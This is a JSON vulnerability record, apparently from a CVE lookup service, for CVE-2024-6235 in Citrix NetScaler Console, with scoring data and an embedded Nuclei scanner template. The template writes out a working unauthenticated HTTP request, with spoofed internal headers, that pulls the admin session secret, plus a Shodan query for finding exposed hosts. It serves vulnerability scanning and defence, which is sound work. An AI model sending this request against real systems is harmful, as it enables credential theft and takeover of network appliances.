{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-6235/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-6235/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-6235/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-6235/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-6235/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-6235"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-6235"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.21168,
      "kev": false,
      "percentile": 0.97479
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-6235.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2024-6235\n\ninfo:\n  name: NetScaler Console - Sensitive Information Disclosure\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Sensitive information disclosure in NetScaler Console\n  impact: |\n    Attackers can access sensitive information including session secrets and administrative credentials from the NetScaler Console without proper authentication.\n  remediation: |\n    Apply the patches specified in Citrix advisory CTX677998 to address the information disclosure vulnerability in NetScaler Console.\n  reference:\n    - https://support.citrix.com/article/CTX677998\n    - https://attackerkb.com/topics/7zebEgmGLs/cve-2024-6235\n    - https://nvd.nist.gov/vuln/detail/cve-2024-6235\n  classification:\n    cve-id: CVE-2024-6235\n    cwe-id: CWE-287\n    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    epss-score: 0.21168\n    epss-percentile: 0.97479\n    cpe: cpe:2.3:a:citrix:netscaler_console:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: title:\"NetScaler Gateway\"\n  tags: cve,cve2024,netscaler,exposure,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /internal/v2/config/mps_secret/ADM_SESSIONID HTTP/1.1\n        Host: {{Hostname}}\n        Referer: {{RootURL}}/admin_ui/mas/ent/html/main.html\n        Content-Type: application/json\n        If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT\n        NITRO_WEB_APPLICATION: true\n        Tenant-Name: Owner\n        User-Name: nsroot\n        Mps-Internal-Request: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"mps_secret\":'\n          - 'ADM_SESSIONID'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: json\n        name: adm_sessionid_key\n        json:\n          - '.mps_secret[0].key_value'\n# digest: 490a0046304402203f1fdc77289754163e8b44530489281bc8624793993812ce5065c6c555cce0cd02206725e82375ef637b0a8338fd498f5fb8a62fcaf6a1cc0e14f0c0c8c613300e76:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-6235"
}